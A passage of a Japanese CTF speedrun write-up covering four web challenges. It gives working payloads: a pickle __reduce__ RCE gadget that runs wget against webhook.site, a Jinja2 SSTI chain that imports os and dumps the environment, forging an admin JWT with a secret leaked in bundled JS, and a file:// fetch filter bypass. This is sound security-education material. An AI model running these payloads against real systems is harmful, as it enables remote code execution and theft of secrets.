    return {'output': repr(ast.literal_eval(input.input))}


@app.post('/jinja2')
def api_jinja2(input: Input):
    return {'output': Template(input.input).render()}


@app.post('/pickle')
def api_pickle(input: Input):
    return {'output': repr(pickle.loads(base64.b64decode(input.base64_input)))}


@app.post('/yaml')
def api_yaml(input: Input):
    return {'output': repr(yaml.load(input.input, Loader=yaml.Loader))}

まずはJinja2のSSTIを狙う。こういったシチュエーションでは {{config}}{{request}} でほぼ勝ち、前者が色々な情報のリークに便利で、特に後者ではhamayanhamayanさんのWeb問でのテクニックをまとめた記事にも書かれているように、{{request.application.__globals__.__builtins__.import('os')}} のように辿って、モジュールのインポートに簡単に持ち込めて便利。しかしながら、今回は jinja2.Template を直接呼んでいることから configrequest も存在しない。若干焦る。

こうなると ''.__class__.… のようにリテラルから特殊な属性やメソッドを辿っていく必要があるのだけれども、その途中で __subclasses__ を呼び出した結果から適切なクラス(ほしい値にアクセスできるようなもの)を選択する作業がある。関連するテクニックを思い出す時間やらそのクラスを探す手間やらを考えると、Jinja2の次にペイロードの作成が楽なpickleを狙う方が早いと考え、スイッチする。

"pickle deserialize os command vuln" みたいな雑なクエリでググり、すぐにペイロードを生成できるコードを見つける。以下のようなコードで試すもダメ。import の位置がメチャクチャだったり、Base64エンコードしたいはずなのになぜか binascii モジュールをインポートしたりといった様子から焦りが感じられる。

import binascii
import os
import requests
class Exploit:
    def __reduce__(self):
        cmd = ('wget https://webhook.site/…')
        return os.system, (cmd,)

import pickle
import base64
p = base64.b64encode(pickle.dumps(Exploit()))

s = requests.post('https://(省略)/pickle', json={
    'base64_input': p
})
print(s.text)

どういうことやねんとデバッグのため渋々(時間がもったいないとなぜかしていなかった) docker compose up -d でローカルの環境を用意する。curl, wget が動かない。コンテナに入るとどちらも存在しなかった。これをバイパスして外部にアクセスする手段を考える時間と、Jinja2に戻って色々調べる時間を天秤にかける。前者はアウトバウンドな通信を制限している可能性を考えると徒労に終わるかもしれない。こうなると確実を取りたいと後者を選ぶ。

SSTIの度にいつも見ているP=NPのチートシートを参照しつつ、適当なリテラルから特殊な属性やメソッドを辿って __builtins__ にたどり着く方法を考える。汎用的な方法が見つけられない。いつも見ているHackTricksのまとめを見ると、__subclasses__ の返り値に対してforを回して warning を探している様子があり、そういえばそうだった、最近全然SSTIしていなくて忘れていたけれども、warning がキーなんだったと思い出す。

__subclasses__ の返り値をテキストエディタに貼り付けてコンマを改行文字に置換、何行目に warning があるかでインデックスを特定する。最終的に、次のようにしてやっとフラグが得られた。pickleでの試行のコードをそのまま残しているあたりから焦りが感じられる。

import os
import requests
class Exploit:
    def __reduce__(self):
        cmd = ('/bin/wget https://webhook.site/…')
        return os.system, (cmd,)

s = requests.post('https://(省略)/jinja2', json={
    'input': '{{[].__class__.__mro__[1].__subclasses__()[229]()._module.__builtins__.__import__("os").environ}}'
})
print(s.text)
$ python3 t.py
{"output":"environ({'K_REVISION': 'gadget-1oioyivwdw-00003-yib', 'PYTHON_PIP_VERSION': '23.2.1', 'HOME': '/home/ctf', 'PORT': '8080', 'GPG_KEY': '7169605F62C751356D054A26A821E680E5FA6305', 'K_CONFIGURATION': 'gadget-1oioyivwdw', 'PYTHON_GET_PIP_URL': 'https://github.com/pypa/get-pip/raw/c6add47b0abf67511cdfb4734771cbab403af062/public/get-pip.py', 'PATH': '/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'LANG': 'C.UTF-8', 'K_SERVICE': 'gadget-1oioyivwdw', 'PYTHON_VERSION': '3.12.0', 'PWD': '/home/ctf', 'PYTHON_GET_PIP_SHA256': '22b849a10f86f5ddf7ce148ca2a31214504ee6c83ef626840fde6e5dcd809d11', 'FLAG': 'flag{literal_eval_is_unexploitable_isnt_it?}'})"}

区間タイムは16分3秒4で、+11分3秒。目標タイムを大幅に超過している。

flag{literal_eval_is_unexploitable_isnt_it?}

[目標タイム: 8分30秒 / 区間タイム: 4分39秒5] gem

Params, params, params!

(問題サーバのURL)

添付ファイル: gem.zip

区間での目標タイムからの大幅な遅れに焦りを覚えたが、CTFの開始前にルールを熟読していたおかげで、各問題を開始するまで(各問題は独立しており、開始するボタンを押さない限り問題文や添付ファイルなど問題の情報は見られないようになっている)タイマーは止まっていることを思い出す。つまり問題と問題の間で休憩を取ることができる。深呼吸をしてこの問題に臨む。

今度はRuby。私にはあまり馴染みがない。この調子で別の言語がどんどん出てきてさらに馴染みのない言語が出てくれたらと困るなと思いつつも、Rubyならでは、Sinatraならではのテクニックはあまり使わなそうだなというのが初めてコードを見たときの印象。クエリパラメータに配列とかハッシュを仕込むことができればよさそう。ただ、7月に開催・出題したzer0pts CTF 2023 - Plain Blogで偶然にもSinatraを使っており、この際 params はパスパラメータやクエリパラメータ、リクエストボディの値もごっちゃにすることを学んでいたので、一応それも使う可能性があるかなともぼんやり考える。

require 'sinatra'

get '/' do
  if params == {}
    'Hello'
  elsif params[:a] != '1'
    status 400
    'Nope'
  elsif params[:b] != ['2']
    status 401
    'Nope'
  elsif params[:c] != [{'d' => '3', 'e' => nil}]
    p params
    status 402
    'Nope'
  elsif request.query_string.include? '&'
    # what was parse_nested_query?
    status 403
    'Nope'
  else
    ENV['FLAG']
  end
end

まず aa=1 でOK、bb[]=2 でOK。次にひとつ飛ばして request.query_string.include? '&' とクエリ文字列に & が入っていれば弾く処理があるけれども、これはたとえばJavaなんかに触れたことがあると思いつくかもしれないが、; を代わりの区切り文字にすればよいと試し、OKであることを確認した。最後に c だけれども、c[d]=3&c[e] が通らないなあとちょっと悩む。今度は問題を開くとともにローカルでまず docker compose up -d をしていたので、ローカル環境でprintfデバッグもといppデバッグによって理由を調べようかなと考えるも、ここですぐにハッシュがブラケットで囲まれていることに気づく。配列やんけ!!!!! 騙された!!!!!!!!

最終的に、次のOSコマンドでフラグが得られた。

$ curl -i "https://(省略)?a=1;b[]=2;c[][d]=3;c[][e]"
HTTP/2 200
content-type: text/html;charset=utf-8
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-cloud-trace-context: ae68e5c6ae241e5c2b6f01643854f3ef;o=1
date: Thu, 09 Nov 2023 01:25:41 GMT
server: Google Frontend
content-length: 33
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

flag{this_behavior_is_useful_btw}

変なところで詰まりかけたが、区間タイムは8分30秒で、-3分50秒。目標タイムよりだいぶ短い時間で解けた。

flag{this_behavior_is_useful_btw}

[目標タイム: 10分 / 区間タイム: 13分56秒8] arrow

Dart?

(問題サーバのURL)

添付ファイル: arrow.zip

gemで恐れていた事態が起こる。Dartにはまったく馴染みがない。Dartという文字列を見て、最悪Flutterというセキュリティエンジニアにとっての悪夢*1と戦う必要があるのではないかと考えたが、サーバサイドのコードをまず見た感じでは普通のHTTPサーバっぽく安心する。いや、安心しないが。こんな短時間でDartと格闘したくないんだが。CTFでDartの問題を見たのはこれで2問目だなあ、ACSC 2022で出たあの問題は解けなかったなあと嫌なことを思い出しつつもコードを見ていく。

JWTだ。フラグは /api/flag から取得でき、ただしその条件として admin に対して発行されたJWTを持っている必要がある。JWTは /api/login がガンガン発行してくれるが、こいつは admin というユーザ名である場合にのみ発行を拒否する。わがままだなあ。まず考えるのは型や文字列比較周りの変な挙動で、前者はまず {"username": ["admin"]} のようにすればいい感じにならないかなと思うも、これはJSではない。動かない。後者はAdmin (頭文字を大文字にする。case-insensitiveな比較ではないかと考えた) や admin (後ろにスペースを入れている。truncationがないかなと思った)といったものを試すが通らない。

import 'dart:convert';
import 'dart:io' show Platform;

import 'package:chal/util.dart';
import 'package:shelf/shelf.dart';
import 'package:shelf/shelf_io.dart' as shelf_io;
import 'package:shelf_router/shelf_router.dart';
import 'package:shelf_static/shelf_static.dart';

Response json(Object? object, {status = 200}) {
  return Response(
    status,
    body: jsonEncode(object),
    headers: {
      'Content-Type': 'application/json',
    },
  );
}

void main() async {
  final router = Router()
    ..post('/api/login', (Request request) async {
      String? username;
      try {
        final body = jsonDecode(await request.readAsString());
        username = body['username'];
      } catch (e) {
        return json({}, status: 400);
      }

      if (username == 'admin') {
        return json({}, status: 403);
      }

      final loginToken = LoginToken(token: signJWT(username));
      return json(loginToken.toJson());
    })
    ..get('/api/flag', (Request request) {
      final authorization = request.headers['Authorization'];
      final token = authorization?.replaceFirst('Bearer ', '');
      final jwt = verifyJWT(token);
      if (jwt == null) {
        return json({}, status: 401);
      }

      if (jwt.subject != 'admin') {
        return json({}, status: 403);
      }

      return json(Flag(flag: Platform.environment['FLAG']).toJson());
    });

  final port = int.parse(Platform.environment['PORT'] ?? '3000');
  final handler = Cascade()
      .add(createStaticHandler('build', defaultDocument: 'index.html'))
      .add(router)
      .handler;
  await shelf_io.serve(handler, '0.0.0.0', port);
}

じゃあ /api/login のコードに問題があるわけでなく、JWT周りだろうと当たりをつける。先程のコードから読み込まれている chal/util.dart は以下のコードで、dart_jsonwebtoken とかいうパッケージを使っているなあとか、なんで秘密鍵がハードコーディングされてるんだろうなあとか思う。

まずJWT名物 alg をいじることを考える。none は通らない。そもそも HS256 なのでほかの RS256 などに変えても落ちるだけ。リポジトリのスター数を見て、0-dayか、このライブラリ特有の仕様を使うのではないだろうかと一瞬考えるも、これはSpeedrun CTFだぞとすぐに考えを捨てる。一応使われているバージョンも見て、v2.12.0と11/9時点で最新のひとつ前であることから、(あるかどうかは知らないが)以前存在した脆弱性に関するものでもなさそうとも思う。

import 'package:dart_jsonwebtoken/dart_jsonwebtoken.dart';

// this is replaced from Dockerfile
final hardcodedSecretKey = SecretKey('<PLACEHOLDER>');

String signJWT(String? username) {
  final jwt = JWT({}, subject: username);
  return jwt.sign(hardcodedSecretKey);
}

JWT? verifyJWT(String? token) {
  if (token == null) {
    return null;
  }

  try {
    final jwt = JWT.verify(token, hardcodedSecretKey);
    return jwt;
  } catch (e) {
    return null;
  }
}

class LoginToken {
  String token;

  LoginToken({required this.token});
  LoginToken.fromJson(Map<String, dynamic> json) : token = json['token'];

  Map<String, dynamic> toJson() => {
    'token': token,
  };
}

class Flag {
  String? flag;

  Flag({required this.flag});
  Flag.fromJson(Map<String, dynamic> json) : flag = json['flag'];

  Map<String, dynamic> toJson() => {
    'flag': flag,
  };
}

じゃあ、ハードコーディングされた秘密鍵ですねえと思う。そういえばフロントエンドのコードもDartで、先程の util.dart を読み込んでいるのだった。もしかしてこれがバンドルされたJSに含まれているのではないか。ちなみに、秘密鍵のフォーマットは次の通りSHA-256だった。

RUN secret=$(head -c 16 /dev/urandom | sha256sum | awk '{print $1}') && \
    sed -i "s/<PLACEHOLDER>/$secret/g" lib/util.dart

バンドルされたJSである /main.dart.js を見る。めっちゃ圧縮されており、シンボル情報が吹き飛んでいて読みづらい。じゃあ先程見たフォーマットが使えるのではないかと、DevToolsでコンソールを開き document.body.innerText.match(/[0-9a-f]{32,}/g) で検索してみる。めっちゃあるやんけ。

落ち着いて、SHA-256のhexでの桁数の64文字に絞りつつ Set で重複を排除する。かつ、" で囲んでジャスト64文字のものだけ取れるようにする。まだ多い。

はじめの方の 7d5a0975fc2c3057eef67530417affe7fb8055c126dc5c6ce94a4b44f330b5d9 などは楕円曲線関連のなんかっぽいので、逆に後ろから見ていく。最後の eccf539166d55142bb491b2ff45a14e47724ad1a60080b06f105951312d101f2 がビンゴだった。JWT.ioでJWTを偽造する。いけた。

$ f eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2OTk0OTM3NzYsInN1YiI6ImFkbWluIn0.hdQZ8fbVanMx_1pnIMK5hmonIpZrjpG2eR-fYlYM6RY
HTTP/2 200
x-powered-by: Dart with package:shelf
x-frame-options: SAMEORIGIN
content-type: application/json
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
x-cloud-trace-context: dadb7a4d0ba5b78c09012b1f2ea6a6cc;o=1
date: Thu, 09 Nov 2023 01:40:38 GMT
server: Google Frontend
content-length: 50
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"flag":"flag{dont_confuse_frontend_and_backend}"}

区間タイムは13分56秒8で、+3分56秒。目標タイムより遅いが、遅すぎるというわけではなくまずまずといったところ。

flag{dont_confuse_frontend_and_backend}

[目標タイム: 13分30秒 / 区間タイム: 8分45秒2] bread

This is the final challenge. No Node.js, Bun is better.

(問題サーバのURL)

添付ファイル: bread.zip

JavaScript + Bun。また違う言語かつBunというまだ自分には馴染みのない環境でうーんと思う。ただ、JavaScriptは私にとってはホームグラウンドなのでアドバンテージがある。勝ちを確信する。

ソースコードは次の通り。/flag というパスにフラグを書き込んだので読めということらしい。わざわざ環境変数にあるフラグを /flag に書き込んでいるあたり、RCEではないのだろうな、フラグを読み込める脆弱性なんだろうなと思う。

POST /fetch が妙なことをするAPIで、こいつにURLを投げると fetch で取りに行ってくれるらしい。ただし、URLに f, l, a, t のいずれかが含まれているとそこで400を返す。また、new URL(fetchUrl, `http://localhost:${port}/`) とURLのコンストラクタの第2引数に localhost のURLを入れておくことで、ローカル以外には飛ばせないようにしている。

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
}

const server = Bun.serve({
  port,
  async fetch(req) {
    const url = new URL(req.url);
    if (url.pathname === "/") {
      return new Response("Welcome to Bun!");
    } else if (url.pathname === "/zzz") {
      return new Response("sleeping...");
    } else if (url.pathname === "/flag") {
      return new Response("read /flag!");
    } else if (req.method === "POST" && url.pathname === "/fetch") {
      const fetchUrl = url.searchParams.get("url") || "";

      if ([...fetchUrl].some((c) => [..."flatt"].includes(c))) {
        return new Response("Nope", { status: 400 });
      }

      // by the way, where is the implementation of fetch: https://github.com/oven-sh/bun
      const res = await fetch(new URL(fetchUrl, `http://localhost:${port}/`));
      return new Response((await res.blob()).stream());
    }

    return new Response("Not found", { status: 404 });
  },
});

まず fetch/flag を手に入れられないかについて。これは docker compose up -d でローカルに問題サーバの環境を用意しておき、そこで検証することで突破できた。こいつは file: スキームを受け付ける。

ctf@8d79ff4b843a:~$ bun repl
Welcome to Bun v1.0.8
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await (await fetch('file:///flag')).text()
'flag{dummy}'

続いて、new URL の問題について。与えられている第2引数が使われる条件について、MDNを読むと「url が相対 URL の場合に使用するベース URL を表す文字列です」ということだった。じゃあ絶対URLを仕込めばいいじゃん。

ctf@8d79ff4b843a:~$ bun repl
Welcome to Bun v1.0.8
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> '' + new URL('/poyo', 'http://localhost:3000')
'http://localhost:3000/poyo'
> '' + new URL('http://example.com', 'http://localhost:3000')
'http://example.com/'

最後に、どうやって禁止されている文字を含ませないようにするか。じゃあパーセントエンコーディングと思う。いけそう。

ctf@8d79ff4b843a:~$ bun repl
Welcome to Bun v1.0.8
Type ".help" for more information.
[!] Please note that the REPL implementation is still experimental!
    Don't consider it to be representative of the stability or behavior of Bun overall.
> await (await fetch('file:///fl%61g')).text()
'flag{dummy}'

いけた。file はパーセントエンコーディングするわけにはいかないけれども、幸いチェックはcase-insensitiveなので FiLe のように大文字を入れることで回避できる。ファイル名でも同様にできたんじゃないかと一瞬考えるも、ここはLinux環境なんですよねえ。

$ curl -X POST -i "http://…/fetch?url=FiLe:///%2566%256c%2561%2567"
HTTP/2 200
content-type: application/octet-stream
content-disposition: filename="flag"
x-cloud-trace-context: 3162f685d4b33f91f51d8f45f1924269;o=1
date: Thu, 09 Nov 2023 01:50:36 GMT
server: Google Frontend
content-length: 44
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

flag{file_scheme_isnt_implemented_in_nodejs}

区間タイムは8分45秒2で、-4分44秒。目標タイムよりかなり短い時間で解けた。


ここでタイマーストップ。記録は45分26秒6。deny, gem, breadで目標タイムより早く解くことができたのはよかったけれども、gadgetで大幅に目標タイムを超過してしまったのが悔しい。ただ、改めてCODE BLUEのWebページにある「※全問クリアは最短30分前後を想定しています」という記述を見て、そんなんできるかいなと思う。合計目標タイムの39分30秒はgadgetで最初からJinja2のSSTIに専念していればいけたかなと思う。

こうやって手元にexploitがあるので再走したら3分でいけそう。なんならフラグがあるので1分でもいける。

*1:そんなことはない